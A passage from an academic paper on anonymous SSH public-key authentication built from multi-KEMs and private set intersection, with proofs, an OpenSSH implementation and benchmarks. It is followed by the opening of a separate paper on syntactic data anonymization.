some guess m, the adversary can simply test whether me = c,
using only public information. This algebraic property of RSA
renders the GUESS_DEC and GUESS_MSG oracles redundant,
and greatly simplifies the security proof compared to the
Diffie-Hellman-based MKEMs. The proof details are defered
to the full version.

Finally, we need to show anonymity with respect to a leak-
age function. For properly generated public keys, ChkN will
produce uniformly random chunks, so C will be a uniformly
random polynomial with degree less than s(PK), where s(PK)
is the sum of s(N) for all the public keys in PK. That is, only
the combined length of all public keys needs to be leaked.4

Lemma 11. RSA is an anonymous MKEM with respect to
leakage RSA.Leak(PK) = s(PK).

Both proofs for the RSA MKEM are given in in the full
version.

3.2.4 Mixing Key Flavors

SSH allows users to authenticate themselves with many differ-
ent keypair flavors. To achieve the same property, our authen-
tication protocol requires a single multi-KEM where encryp-
tions can be addressed to a mixture of different key flavors.
We build such a multi-flavor MKEM by simply concatenating
a separate MKEM ciphertext for each key flavor.

The mixed-flavor multi-KEM (which we call MixKEM) is
parameterized by a set FLAVORS of supported key flavors.
The key generation of MixKEM expects a particular flavor as
one of its options, and keys in the MixKEM scheme are of the
form (f,pk) where pk is a key of flavor f.

MixKEM.OPTS=

{
(f,opts)

∣∣∣∣ f ∈ FLAVORS,
opts ∈ f.OPTS

}

4Adversarial public keys can be malformed so that RSA.Enc1 does not
generate a uniformly random element of Z/NZ, e.g. by picking an e that is
not coprime to λ(N). Recall that MKEM ciphertexts need not hide anything
about adversarially generated keys.

MixKEM.Gen((f,opts)):
(pk,sk)← f.Gen(opts)
return (f,pk),(f,sk)

MixKEM.Sign((f,sk),m):
return f.Sign(sk,m)

MixKEM.Verify((f,pk),m,s):
return f.Verify(pk,m,s)

MixKEM.Dec((f,sk),C):
if C[f] undefined:

return ⊥
return f.Dec(sk,C[f])

MixKEM.Enc(PK):
F := {f | (f,pk) ∈ PK}
C,R := empty map
for f ∈ F :

PKf := {pk | (f,pk) ∈ PK}
c,r← f.Enc(PKf)
C[f] := c
R[f] := r

return C,R

MixKEM.Msg((f,pk),R):
return f.Msg(pk,R[f])

Regarding anonymity, we must characterize what in-
formation MixKEM.Enc(PK) leaks about the public keys
in PK. Let F and PKf be defined as in MixKEM.Enc.
Clearly, MixKEM.Enc(PK) leaks F (the set of flavors present),
and it also leaks any information from each flavor’s
f.Enc(PKf). Therefore, the leakage function for MixKEM is
MixKEM.Leak(PK) = {(f, f.Leak(PKf)) | f ∈ F}.

The following lemmas are proven in the full version:

Lemma 12. MixKEM is a jointly secure MKEMSS if every
flavor in FLAVORS is.

Lemma 13. MixKEM is anonymous, assuming that every
f ∈ FLAVORS is, with advantage is bounded by the total
advantage against all the individual flavors’ anonymities.

MixKEM is subject to some tradeoffs between efficiency
and leakage. For example, MixKEM.Enc could be made to al-
ways generate ciphertexts for some set of commonly used fla-
vors, thereby not leaking whether they are present in PK. Key
flavors beyond RSA (including EdDSA and ECDSA) could be
encoded into a single polynomial,5 which would leak no more
than the total size of all ciphertexts. Our choice of MixKEM
was motivated largely by simplicity. Finally, note that ECDSA
keys can be instantiated over a variety of different curves, and
each curve correpsonds to a different MKEM flavor.

4 Security Definition
We present our formal security definition in the form of an
ideal functionality in the UC framework, in Figure 2. The
functionality is somewhat complicated and subtle, so we pro-
vide intuitive explanations of its main features below.

Keys. The functionality’s genkey command generates and
logs a keypair to model the local process of key generation
by honest parties. We consider an adversary who is capable
of stealing honest users’ secret keys; this is modeled by the
functionality’s stealkeys command.

Keys can be classified into 3 categories with respect to the
ideal functionality: (1) A key generated by an honest user

5Encoding into a polynomial requires the ciphertexts to be pseudorandom
bit strings. This could be achieved for EC-based schemes, e.g., with the
Elligator [6] technique.
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Parameters:
• Parties P1,P2, . . .
• A signature scheme SS = (Gen,Sign,Verify).
• Function L characterizing leakage on server’s set.

Static variables:
• Sets Σ and Secure; associative arrays SK1,SK2, . . .

Define predicate:

can_use(Pi,pk) =

{
SKi[pk] defined, Pi honest
pk ̸∈ Secure, Pi corrupt

On input (genkey,opts) from party Pi:
1. Do (sk,pk)← Gen(opts) and set SKi[pk] := sk.
2. If Pi is honest: add pk to Secure.
3. Give pk to Pi.

On input (get_sk,pk) from the adversary:
4. If SKi[pk] is defined for some i, then give that SKi[pk]

to the adversary.

// simulator can send this command only when the real-world
// adversary compromises Pi’s storage
On input (stealkeys,Pi) from the adversary:
5. Set Secure := Secure\{pk | SKi[pk] defined}.
6. Give SKi to the adversary.

On input (sign,pk,m) from Pi:
7. If ¬can_use(Pi,pk): abort.
8. Add (pk,m) to Σ.
9. Give Sign(SKi[pk],m) to Pi.

On input (verify,pk,m,σ) from any party:
10. If pk ∈ Secure and (pk,m) ̸∈ Σ: respond false.
11. Otherwise respond with Verify(pk,m,σ).

// authentication attempt between server PS & client PC
On input (auth1,(PS,PC,ssid),KS) from PS:
12. If PC is corrupt, give leakage to the adversary:(

L(KS), {pk ∈ KS | ∀i : SKi[pk] undefined}
)
.

13. Wait for command (auth2,(PS,PC,ssid),KC) from PC.
14. Give |KC| to PS.
15. Wait for command (auth3,(PS,PC,ssid),K′S) from PS.
16. If PS is corrupt: set KS := K′S (otherwise ignore K′S).
17. Compute A := KS∩KC∩{pk | can_use(PC,pk)}.
18. Give (A, |KS|) to PC.
19. Wait for command (deliver,ssid,d ∈ {0,1}) from PC.
20. Give d∧ [A ̸= /0] to PS.

Figure 2: Ideal functionality Fnew-auth defining the security of our
new public-key authentication method.

is initially considered secure and stored in the set Secure
(line 2). (2) A secure key becomes stolen when the adversary
calls the stealkeys command on the owner of that key. (3)
Parties can invoke the functionality’s commands on keys that
were not generated by honest parties. We call such keys as
unregistered, and they are treated as adversarially generated.

The functionality uses a predicate can_use to decide
whether a user is allowed to use a key for authentication or
signing.

• Honest users can only use keys that they generated hon-
estly, regardless of whether they are secure or stolen.

• Corrupt users can only use stolen or unregistered keys,
but not secure keys.

In our security proof, we restrict our focus to simulators
that call stealkeys only when the real-world adversary com-
promises a party’s actual key storage. Hence stealkeys in
the ideal world captures key compromise in the real-world,
and stealkeys is the only way for an adversary to gain an
advantage in the real world, with respect to the can_use pred-
icate. In the ideal world, knowledge of the sk values offers no
advantage to an adversary. We therefore allow the ideal-world
simulator to learn these sk values (via the get_sk command),
which is helpful in our security proof. Again, we emphasize
that giving all sk values to the ideal-world adversary does
not help that adversary authenticate or forge signatures under
more keys, if they don’t also send a stealkeys command.

Authentication. A server PS and client PC can perform an
authentication session using a sequence of auth commands.
Each party provides a set of public keys: KS,KC respectively.
The client learns the intersection A = KS ∩KC (line 17-18).
If the client is corrupt, then it learns further leakage on the
server’s set KS, as well as the unregistered keys in KS (line
12). Leaking the set of unregistered keys is necessary for our
security proof, but it does no harm to honest users since their
keys are always registered. The server learns only |KC| (line
14) and whether the intersection A is nonempty (line 20).

We say that the client “successfully authenticates” under a
key if that key is in the set A. A client can only authenticate
under keys for which it satisfies the can_use (line 17).

If the intersection is nonempty, the client can make the
server think that the intersection is empty (line 19-20, d = 0) —
this relaxation of correctness is needed to model our eventual
protocol. However, lying in this way is not beneficial for the
client with respect to authentication. The client can never
make an empty intersection seem nonempty.

Signing. We model a setting where users can use the same
keypairs both for our new authentication protocol and for
traditional authentication as well. Since traditional authen-
tication uses a simple challenge-response protocol and uses
keypairs for signing, it suffices for our functionality to provide
a way for parties to sign and to verify signatures with their
keypairs (sign and verify commands). Honest parties will
always use the functionality to sign and verify.

If a key is secure with respect to the functionality, then
the functionality’s verify command will reject signatures
on messages that weren’t originally generated by the key’s
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owner (lines 8,10).6 In short, if a client PC honestly generates
its keypair, and an adversary has not stolen its secret key,
then PC is the only party that generate signatures (on new
messages) that verify properly.

The functionality does not provide any particular unforge-
ability guarantee for stolen or unregistered keys. Instead, it
simply runs the signature scheme’s Verify algorithm, so that
the real and ideal worlds match (line 11).

Key agreement. In our envisioned application within SSH,
client and server first perform key agreement and then au-
thenticate each other. Hence, our authentication protocol can
safely assume that a secure point-to-point channel already
exists between client and server. Our protocol can be exe-
cuted within this secure channel.7 This means that our ideal
functionality does not need to deal with the complexities of
defining key agreement — i.e., giving a common random key
to both parties iff the client is authorized — it merely needs to
give the server the answer to whether the client is authorized.

Other properties. Invoking stealkeys does not allow the
adversary to learn whether the newly-stolen keys were used in
any past authentication attempts, by either the client or server.
In other words, our protocol is fully deniable for both parties.

Another interesting property is that a server cannot con-
vince the client that authentication has succeeded, unless the
server explicitly knows (and commits to) one of the client’s
public keys. This property makes it harder (though not im-
possible) for a corrupt server to intercept SSH connections
intended for another server, as in Attack 4 that we describe in
Section 1. Such an attacker would need to target specific user-
s/keys, and would not be able to easily intercept connections
on a much larger scale.

5 Main Protocol
Our authentication protocol follows the high-level outline
presented in Section 1.4. Namely, the server encrypts a multi-
KEM ciphertext to the set of authorized public keys. The
client decrypts this ciphertext under each of its secret keys.
Finally, the parties perform a private set intersection (PSI),
using the plaintexts that they obtained from the multi-KEM.
The resulting intersection is non-empty if and only if the client
holds an authorized secret key.

We require a flavor of PSI in which the client learns the
contents of the intersection, and the server can learn whether
the intersection was non-empty. However, it does no harm if
the client can choose whether to prove that the intersection
was non-empty — choosing not to do so only prevents au-
thentication from succeeding. Later in Section 6 we describe

6If the key owner generates a signature σ on m, then the functionality does
not rule out the possibility of an adversary generating a different signature σ

on the same m. This corresponds to weak unforgeability, and such a relaxation
is necessary because ECDSA is only weakly unforgeable.

7We assume that parties will incorporate a transcript of the key agreement
session as part of their session id ssid to further bind our authentication
protocol to their secure channel.

Behavior:
1. Await command (input,(PS,PC,ssid),MC) from PC.
2. Give |MC| to PS.
3. Await command (input,(PS,PC,ssid),MS) from PS.
4. Compute I = MS∩MC and give (I, |MS|) to PC.
5. Await command (deliver,ssid,d ∈ {0,1}) from PC.
6. Give d∧ [I ̸= /0] to PS.

Figure 3: Ideal functionality Fpsi+ for PSI-with-emptiness.

On command (genkey,opts) to party Pi:
1. Pi: Run (sk,pk)← Gen(opts) and set SKi[pk] := sk.

// adversary learns SKi when it compromises Pi’s storage.
2. Pi: Output pk.

On command (sign,pk,m) to party Pi:
3. Pi: If SKi[pk] not defined: abort.
4. Pi: Run Sign(SKi[pk],m) and return the result.

On command (verify,pk,m,σ) to party Pi:
5. Pi: Run Verify(pk,m,σ) and return the result.

On command (auth1,(PS,PC,ssid),KS) to party PS:
6. PS: Generate (c,r)← Enc(KS) and send c to PC.
7. PC: Await command (auth2,(PS,PC,ssid),KC) and set:

MC :=
{〈

pk,Dec(SKC[pk],c)
〉∣∣∣∣ pk ∈ KC and

SKC[pk] defined

}
.

8. PC: Send (input,(PS,PC,ssid),MC) to Fpsi+.
9. PS: Receive |MC| from Fpsi+ and output it.
10. PS: Await command (auth3,(PS,PC,ssid),−) and set:

MS :=
{〈

pk,Msg(r,pk)
〉 ∣∣∣ pk ∈ KS

}
.

11. PS: Send (input,(PS,PC,ssid),MS) to Fpsi+.
12. PC: Receive output (I, |MS|) from Fpsi+ and output:(

{pk | ∃m : ⟨pk,m⟩ ∈ I}, |MS|
)

13. PC: Await command (deliver,ssid,d) and forward it
to Fpsi+.

14. PS: Receive output e from Fpsi+ and output it.

Figure 4: Our anonymous authentication protocol.

how to construct an efficient PSI protocol with this feature. In
Figure 3 we formally define the security of this PSI variant,
as an ideal functionality in the UC framework.

The formal details of our authentication protocol are given
in Figure 4. For technical reasons, the parties perform the PSI
on a set of ⟨pk,m⟩ pairs rather than plaintext values alone.

5.1 Security Proof

Theorem 14. The protocol in Figure 4 is a UC-secure proto-
col realizing ideal functionality Fnew-auth (Figure 2) against
adaptive adversaries, assuming that MKEM is anonymous
(Definition 6) and a jointly secure multi-KEM and signature
scheme (Definition 7).
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Proof. We sketch a proof here and defer the details to the
full version. There are two important cases for the simulator,
depending on who is corrupted when the auth session starts.

Case of honest server, corrupt client: In this case, the
simulator obtains leakage on the honest server’s set of pub-
lic keys, as well as all its unregistered public keys. It gen-
erates a dummy ciphertext c by calling MKEM.AnonSim on
that leakage. AnonSim is from the MKEM anonymity defi-
nition, which we use to show that these dummy ciphertexts
are indistinguishable from the real ones. If an honest server is
corrupted adaptively during an auth session, then the simula-
tor must provide a dummy internal state for the server. In this
case the server’s state consists of the r-value from the cipher-
text. The simulator generates an r-value using the AnonView
algorithm from the anonymity definition.

Later, the corrupt client will provide a set of ⟨pk,m⟩ pairs
as input to Fpsi+. The simulator’s main task is to check which
of these ⟨pk,m⟩ pairs is “correct” — i.e., whether m is the
correct decryption of c with respect to key pk. The set of pk’s
having correct decryption values is what the simulator sends
to Fnew-auth as the corrupt client’s extracted input.

The simulator checks the correctness of a ⟨pk,m⟩ pair in
different ways depending on the status of pk:

• If pk is registered, the simulator calls get_sk to learn
the corresponding sk, and computes the correct m as
Dec(sk,c).

• If pk is unregistered, then MKEM.AnonSim already pro-
vided the correct decryption value when generating the
dummy ciphertext.

When a key pk is in Secure, this models a key registered to
an honest party, whose secret key has not yet been stolen by
the real-world adversary. We further use the joint MKEMSS
security of MKEM to argue that the adversary cannot predict
a “correct” decryption with respect to such a secure pk, and
neither can it generate a signature forgery under such a key.
Without knowing correct decryptions under pk, the corrupt
client cannot authenticat under pk.

Case of corrupt server, honest client: In this case there
is no protocol message from the client to simulate in an auth

interaction, and no persistent state held by the honest client to
simulate in the event of an adaptive corruption. The only job
of the simulator is to extract the corrupt server’s input (a set
of keys) to send to the Fnew-auth functionality. The simulator
observes the server’s protocol message c and then later ob-
serves the server’s PSI input, a set of ⟨pk,m⟩ pairs. As before,
the main task of the simulator is to determine which of these
pairs is “correct.”

• If pk is registered by the functionality (secure or stolen),
then it was honestly generated. The simulator can learn
the corresponding sk (via get_sk) and obtain the correct
m as Dec(sk,c).

• If pk is not registered by the functionality, then an honest
client will not attempt to authenticate under it. So the
simulator can safely ignore these keys.

The keys from the server’s PSI input that are associated with
correct decryption values comprise the Fnew-auth input ex-
tracted by the simulator.

6 PSI variant
Our authentication protocol requires a variant of PSI in which
the client learns the contents of the intersection, and then the
client can (optionally) prove to the server that the intersection
was non-empty. Our setting involves relatively small input
sets (e.g., a few hundred items each, at the most). The leading
PSI protocol for sets of this size — in terms of both commu-
nication and running time — is due to Rosulek and Trieu [43]
(hereafter RT21). We adapt the RT21 protocol to provide the
proof-of-nonempty intersection property, to instantiate the
ideal functionality in Figure 3. Here we simply sketch the
main ideas of our simple modification. The details and formal
proof are deferred to the full version of this work.

Nearly all PSI protocols, including RT21, use the oblivious
PRF (OPRF) paradigm of [21]. The parties first run an OPRF
protocol, in which the sender learns a PRF seed k, and a
receiver learns F(k,x) for each x in its set, where F is a PRF.
The sender learns nothing about the x values. To obtain a PSI
protocol, the OPRF sender sends F(k,y) for every y in its set.
The receiver can determine which items are in the intersection
by identifying matching PRF outputs. PRF outputs of items
not in the intersection look random to the receiver.

In order to provide proof of nonempty intersection, we
modify the protocol as follows. The OPRF sender will send
h∗ = H(s) to the client, where s is random and H is a
collision-resistant hash. Suppose the output of F is divided
into two halves F(k,x) = F1(k,x)∥F2(k,x). Then instead of
sending {F(k,x) | x ∈ X} as before, the sender sends pairs
{⟨F1(k,x),Enc(F2(k,x),s)⟩ | x ∈ X}. The receiver can use the
F1-values to identify the intersection as before. For any x
in the intersection, she can decrypt the associated ciphertext
with the key F2(k,x) to recover s, discarding x from the inter-
section if H(s) ̸= h∗. In this way, the receiver learns s if and
only if the intersection is nonempty, so her knowledge of r
can serve as proof of a nonempty intersection.

The formal description of the modified protocol, and a
proof of the following theorem, are provided in the full ver-
sion. We also prove security against adaptive corruption, while
RT21’s original proof considers only static corruption.

Theorem 15. The modified RT21 PSI protocol UC-securely
realizes the Fpsi+ functionality (Figure 3) against adaptive
adversaries, in the ideal cipher + random oracle model, as-
suming a suitable 2-message key agreement scheme exists.

See the full version for the precise criteria needed for the
key agreement scheme. There we also show a suggested
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scheme that satisfies these properties under a variant of the
Strong Diffie–Hellman assumption [1].

Other improvements. One of the main components in the
RT21 protocol is a key agreement protocol whose messages
are pseudorandom bit strings. In order to support elliptic-
curve Diffie-Hellman key agreement, the suggested key agree-
ment uses the Elligator technique [6] to encode elliptic curve
elements as uniform bit strings. We observe that a different
technique of Möller [32] results in elliptic-curve-based key
agreement at roughly half the computational cost. The details
are given in the full version.

7 Implementation and Evaluations
Implementation. We implemented our protocol in C++ and
integrated it into both the client and server of OpenSSH ver-
sion 8.2p18. We implemented the Multi-KEMs for RSA,
ECDSA, and EdDSA as described in Section 3, using
OpenSSH and libsodium. We also adapted the implemen-
tation of the RT21 PSI protocol [43], with the modifica-
tions described in Section 6. Namely, we added the proof-
of-nonempty-intersection feature, and also incorporated an
improved technique for the underlying key agreement. The
implementation of the RT PSI protocol uses Rijndael as a
256-bit ideal cipher and SHA-256 as a random oracle.

OpenSSH delegates sensitive signing operations to a sep-
arate ssh-agent daemon process, which provides a signing
oracle to the SSH client. Since our protocol uses SSH keys
as KEM keys, we added an additional KEM decryption inter-
face to ssh-agent. The remainder of the protocol is imple-
mented in the SSH client/server processes (i.e., ssh and sshd).
Upon publication, we will make the source code available on
GitHub under the same BSD license that OpenSSH uses.

7.1 Experimental Setup

Hardware. All experiments use two desktop machines with
32-core AMD Threadripper 2990WX running at 3.0Ghz, run-
ning Ubuntu 20.04 LTS with 32GB DRAM. We use one
machine as SSH server and the other for running many SSH
clients. While the SSH server utilizes multiple cores for han-
dling multiple clients, we do not use multiple cores to paral-
lelize our authentication protocol.
Network. We ran microbenchmarks over the loopback device
to focus on computation time. To simulate realistic network
conditions in a macrobenchmark, we used the tc traffic con-
trol utility to add 42.5 ms latency: the average of local (20ms
within US west coast) and distant (65ms between east and
west coast) latencies reported in [48].
Keys. We performed SSH authentication on a range of key
configurations. For our microbenchmarks, we considered sets
of keys that were RSA-only (RSA-3072, which is the default
RSA key size in OpenSSH), EdDSA-only, and ECDSA-only.

8Our implementation is available at https://github.com/osu-crypto/
PSIPK-ssh

Hence, we explore the effect of key flavor on our protocol’s
performance. In our macrobenchmark we used a mixture
of keys: 92% RSA, 7% EdDSA, and 1% ECDSA, to model
realistic proportions of key flavors according to Github statis-
tics [9]. We also present macrobenchmark results with 100%
EdDSA keys to demonstrate optimal performance.

We tested clients and servers with different numbers of
keys: We considered clients with 5 (normal user) and 20
(heavy user) keys. We considered servers with 10 (private
server), 100 (mid-sized git repository), and 1000 (popular git
repository) keys.
Reported numbers. For each test case, we report the average
over 10 executions. For comparison, we also measure the
cost of vanilla SSH public-key authentication under the same
network/system setup.

7.2 Evaluation Results

Microbenchmark: performance breakdown. We con-
ducted a microbenchmark of our protocol to investigate the
computation time required for each step. Figure 5 (in ap-
pendix) shows the results.
Legend. We divided the protocol’s computational tasks into
the following phases, and measured the time taken by each:
First, the server parses the authorized user’s keys file (parse),
and encrypts the KEM ciphertexts (kem.enc). It must inter-
polate a polynomial containing all of the RSA ciphertexts
(rsa_interpolate). The KEM messages are then computed
by the server (kem.msg). After receiving the KEM ciphertexts
from the server, the client decrypts them using its private keys
and generates a PSI polynomial (client.kem). The server
evaluates this polynomial, and generates a challenge for the
client (server.psi). Finally, the client solves this challenge
(client.psi), and the server verifies the solution (verify). A
test case named “X_Y” indicates that the server has X number
of authorized keys and the client has Y number of available
private keys for authentication. e.g., 1000_20 refers to a server
with 1000 keys and a client with 20 keys, corresponding to a
heavy user authenticating to a very popular git repository.
RSA. RSA keys are the slowest among three key flavors.
For a huge number of keys on the server, e.g., 1000_5 and
1000_20, authentication takes 1,155 ms and 1,196 ms, re-
spectively, while authentication with fewer than 100 keys
needs less than 300 ms. For the server, kem.enc and
rsa_interpolate took the majority of computation time. Be-
cause the time increases linearly with the number of autho-
rized keys on the server, these tasks dominate when the server
has many keys. For the client, the client.kem task increases
proportionally to number of keys from both server and client.
In the case of relatively many keys for the client relative to
the server, the client.kem cost overwhelms the computing
time, as shown on 100_20, 10_20, and 10_5.
ECDSA and EdDSA. Both ECDSA and EdDSA are signifi-
cantly faster than RSA, and the performance characteristics
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Figure 5: Microbenchmark result per each key setup. For each type of key, we vary the number of keys at the client side for 5 and 20, and we
also vary number of authorized keys at the server side for 10, 100, and 1000.

Auth-type Key-conf RSA ECDSA EdDSA

PSI 100_20 54188 12116 12174
PSI 10_20 13340 8972 9228

Vanilla 10_5 12742 10036 9572
Vanilla 10_1 9642 8582 8242

Table 1: Total communication (in bytes) for a successful authentica-
tion, under various key configurations and key flavors. Note that we
do not test 100 keys on the server for vanilla authentication because
communication cost does not depend on the server’s set of keys in
vanilla authentication.

of these two are very similar. Even with 1000 keys on the
server, the authentication finishes in less than 216 ms. With
fewer than 100 keys, it finishes in less than 27 ms, which is
comparable to a typical network delay. Thus, the effect on
the user would be negligible. For these two key types, server-
side computation time dominates the entire execution time.
The difference between ECDSA and EdDSA is that ECDSA
requires more time to parse the key. However, EdDSA re-
quires more time on kem.msg, resulting in less than 1% time
difference for 1000_20: 214.83 ms vs. 214.89 ms.

Communication cost. The new protocol incurs not only com-
putational overhead but also overhead in communication. We
measure the communication cost of our protocol and compare
it to vanilla SSH authentication. Table 1 shows the results.
With 10 keys on the server and 20 keys on the client, com-
munication overhead for all key flavors is negligible when
compared to the vanilla authentication with 5 keys on the
client. When increasing the server-side key number to 100,

the message size for both ECDSA and EdDSA does not in-
crease much in size (from 9 kB to 12 kB). However, RSA
requires 54 kB of message transfer, which incurs around 4.25
times more in communication when compared to the vanilla
10_5 case. For vanilla with five client keys, we use the 5th key
for authentication, and thereby include four trials of failed
public key probing.

Macrobenchmark: server authentication throughput. We
macrobenchmark our protocol, measuring the authentication
throughput (in reqs/min, at the server side) and latency (in
seconds, at the client side). Figure 6 shows the results. Below,
we report throughput and latency at the maximum throughput
and compare it to the vanilla SSH authentication.

For mixed key setup (mixed according to Github statistics),
a server with 10 keys can process up to 5,003 reqs/min (83.4
reqs/sec), with clients observing up to 0.83 second of latency.
A server with 1000 keys can process upto 1,869 reqs/min
(31.1 reqs/sec), with clients observing up to 3.45 seconds of
latency. For pure EdDSA, a server with 10 keys can process
up to 14,964 reqs/min (249.4 reqs/sec), with clients observing
up to 0.24 second of latency. A server with 1000 keys can
process upto 8,981 reqs/min (149.6 reqs/sec) while clients
may observe 0.79 seconds of latency. As we observed in mi-
crobenchmark, RSA keys are much slower than ECDSA/Ed-
DSA keys, and that is also consistent in the macrobenchmark.

We compare this result with the throughput/latency of the
vanilla SSH authentication. For pure RSA keys setup, a server
with 10 keys can process up to 18,560 reqs/min (309.3 re-
qs/sec). This is 3.7 times faster than our protocol with mixed
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Figure 6: Macrobenchmark result for using mixed keys from the Github key statistics [9] and using only EdDSA keys, for 10 and 1000 keys on
the server. In all cases, we use 3 keys on the client side. Each graph shows the number of connections processed in minutes (line, left Y-axis)
and average latency that each client suffers for the SSH authentication (bar, right Y-axis), by increasing number of concurrently connecting
clients (X-axis). Top two graphs are for mixed keys, middle two graphs are for EdDSA. The bottom two graphs show the performance of
vanilla authentication when using RSA keys.

keys, but only 24% faster than our protocol with EdDSA keys.
A server with 1000 RSA keys can process up to 16,500 re-
qs/min (275.0 reqs/sec), which is 8.8 times faster than our
protocol with mixed keys, but only 85% faster than ours with
EdDSA keys.

In conclusion, our protocol runs comparable to the vanilla
SSH authentication when used with ECDSA/EdDSA keys.

8 Discussions
In this section we discuss security, privacy, and usability issues
arising from integrating our protocol into SSH.
Passphrase-protected SSH keys. SSH clients allow users to
protect keys with a passphrase, which must be entered interac-
tively before that key is used for authentication. In a standard
authentication, the client software can collect the passphrase
from the user only if the server requests authentication under
that key. In our authentication method, the client effectively
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makes authentication attempts under all of its keys. There-
fore, a user may need to enter passphrases to all keys while
running our authentication method. Thankfully, ssh-agent
can be configured to only require a passphrase once during
the life of the ssh-agen process (e.g., per reboot).

Integrating to Git/SSH. Our protocol assumes that the server
has identified the set of authorized keys at the time of au-
thentication (e.g., from ~/.ssh/authorized_keys). Not all
applications may be compatible with this requirement.

We illustrate the issue using Github as an example. When
committing changes to GitHub, the SSH connection is
always made to git@github.com. The client reports the
name of the repository only after the SSH authentication,
as git@github.com:username/repository. In other words,
every Github user is authorized to connect to username git.

This is not problematic for standard SSH authentication
because the server identifies the client from its public key. In
contrast, our new protocol would require the server to encrypt
a KEM message to the set of all (73 million as of November
2021 [15]) Github users, which is prohibitively expensive.

In order to integrate our protocol with systems like
Github, the server would need to learn the repository
name before the client authentication step. We believe
that the SSH username, which is indeed sent to the
server before cient authentication, is a natural way to
convey this information. For example, a client who opts
into the new authentication method could use an SSH
connection to, say, repositoryname@new.github.com or
username.repository@new.github.com. All other users
could continue to be supported via SSH connections to
git@github.com. Github users could configure which of
these two git URL styles is presented to them on the Github
website. Repository owners could choose which flavors of au-
thentication to support when connecting to their repositories.

Downgrading attacks and Trust on First Use. A mis-
chevious server can simply claim to not support our privacy-
enhancing protocol. When connecting to such a server, the
client is forced to downgrade to a less private, conventional
authentication method. Clients should be vigilant about such
downgrade attacks, which completely undermine the protec-
tion of our protocol. The same trust-on-first-use (TOFU) pol-
icy for authenticating the server can be applied to this behavior
— e.g., the client software can report an error if the server sup-
ported privacy-preserving authentication in the past but now
claims to not support it, similar to the error when a server’s
public key has changed relative to the known_hosts file.

Size of key-sets. Our protocol leaks an upper bound on the
size of both the client’s and server’s set of keys. This leakage
is another avenue for fingerprinting, although carrying much
less identifying information. Still, users may wish to mitigate
this leakage by padding their key sets with dummy items, up
to some fixed size — e.g., the next power of two.

Server-side probing. A server can choose to run our authen-
tication protocol with a strict subset of the authorized keys.
By varying the subset across repeated authentication attempts,
the server could de-anonymize the client’s choice of key via
a binary search.

However, this attack leads to user-visible authentication
failures, and it requires a client to repeatedly retry after such
failures. We leave open the problem of whether our protocol
could be extended to notify clients of extreme changes in the
server’s set of keys.

One indication of a probing server may be its use of a
very large set of keys. Our protocol reveals the size of the
server’s set to the client, just before the client decides whether
to deliver output to the server. In principle a client could be
configured to refuse connection to a server with a suspiciously
high number of authorized keys.
Other authentication methods. SSH supports a lightweight
certificate system for authentication, but supporting it is well
beyond our scope. Certificates introduce an extra level of
indirection: the server knows the root signing key but not the
keys of individual users, so the protocol would need to verify
two steps of the trust chain. SSH also supports hardware-
token-based keys. These tokens support only signing, and
not KEM decryption, making them incompatible with our
approach.
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Abstract
How can we orchestrate an one-off sharing of informative
data about individuals, while bounding the risk of disclosing
sensitive information to an adversary who has access to the
global distribution of such information and to personal iden-
tifiers? Despite intensive efforts, current privacy protection
techniques fall short of this objective. Differential privacy pro-
vides strong guarantees regarding the privacy risk incurred by
one’s participation in the data at the cost of high information
loss and is vulnerable to learning-based attacks exploiting
correlations among data. Syntactic anonymization bounds
the risk on specific sensitive information incurred by data
publication, yet typically resorts to a superfluous clustering
of individuals into groups that forfeits data utility.
In this paper, we develop algorithms for disclosure control

that abide to sensitive-information-oriented syntactic privacy
guarantees and gain up to 77% in utility against current meth-
ods. We achieve this feat by recasting data heterogeneously,
via bipartite matching, rather than homogeneously via cluster-
ing. We show that our methods resist adversaries who know
the employed algorithm and its parameters. Our experimental
study featuring synthetic and real data, as well as real learning
and data analysis tasks, shows that these methods enhance data
utility with a runtime overhead that is small and reducible by
data partitioning,while the 𝛽-likeness guarantee with heteroge-
neous generalization staunchly resists machine-learning-based
attacks, hence offers practical value.

1 Introduction
Data sharing risks privacy violations and disclosure of sensi-
tive information. As much as 99.98% of the USA population
can be re-identified in naively anonymized datasets using 15
quasi-identifying (𝑄𝐼) attributes, such as age, occupation,
marital status, residence type, or gender [47], while machine
learning techniques can re-identify individuals and expose the
values of sensitive attributes (𝑆𝐴s) [14, 33].
It is desirable to publish data in a way that is both infor-

mative, including potentially sensitive information, such as

health condition or work class, about a population, and at
the same time safe, curbing sensitive disclosures about indi-
viduals. This aim differs from another consideration arising
in predictive modeling, where it is desirable to remove all
information on protected variables, so as to, e.g., eliminate
racial disparities in predictions [30]. To achieve the aim of
informative and safe data publishing, one may employ differ-
ential privacy (DP) [17, 61]. The state-of-the-art approach
for differential-privacy-based data publishing, PrivBayes [61],
uses the Laplace mechanism [17] to inject noise. A similar
discrete alternative, the geometric mechanism [23], offers a
universally optimal tradeoff between privacy and utility in
single-predicate count queries [22, 23]; however, such uni-
versal optimality is impossible in conjunctive count queries
involving more than one attributes [8, 9]. More crucially,
while differential privacy bounds the privacy risk incurred
by the contribution of one’s independent data to a database,
it fails to control the privacy risk incurred by correlated
data [34, 45, 49]. Those using DP in the hope of bounding
inferences implicitly assume tuple independence [35, 36, 42],
modeling data contributions as causal interventions bearing
no associative effects [52]. A privacy-aware individual whose
data is correlated to data of others would have to lobby those
others to abstain from the data collection process [31, 52].
Institutions that share data in the real world commonly

publish their data in an one-off manner. For example, the 2020
US census published data once, applying differential privacy1
with 𝜖 = 19.61, which means that the participation of any
individual changes the probability of any outcome by a factor
of no more than ∼ 328 million. We infer that the US Census
Bureau lacks a practically applicable, meaningful, and robust
privacy guarantee for the one-off sharing of census data. In
this context, syntactic privacy guarantees [11, 43, 48] offer
a useful option: they consider an adversary having access to
the global distribution of sensitive information, and bound the
specific privacy risk on that information incurred by one-off
publication [11]. To enforce such a guarantee, they generalize

1https://www.census.gov/newsroom/press-releases/2021/
2020-census-key-parameters.html
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𝑄𝐼 attribute values to (i.e., substitute them with) less precise
ones by eliminating precision digits or publishing a range, a
set, or a category, instead of a given value [13, 20, 21].
Still, syntactic anonymization algorithms typically cluster

records in groups and publish the records in each group as a
unit sharing identical 𝑄𝐼 values; that is, for any two records
in the same group, 𝑟𝑖 , 𝑟 𝑗 , the respective published forms,
𝑟 ′
𝑖
, 𝑟 ′

𝑗
, have identical 𝑄𝐼values; this enforced homogeneity

results in loss of precision, hence low utility [3, 10]. A
value generalization can be represented by a directed graph,
the generalization graph [59], which shows how the values
of original records match those of anonymized ones. In the
bipartite view of the graph, an edge from the vertex standing
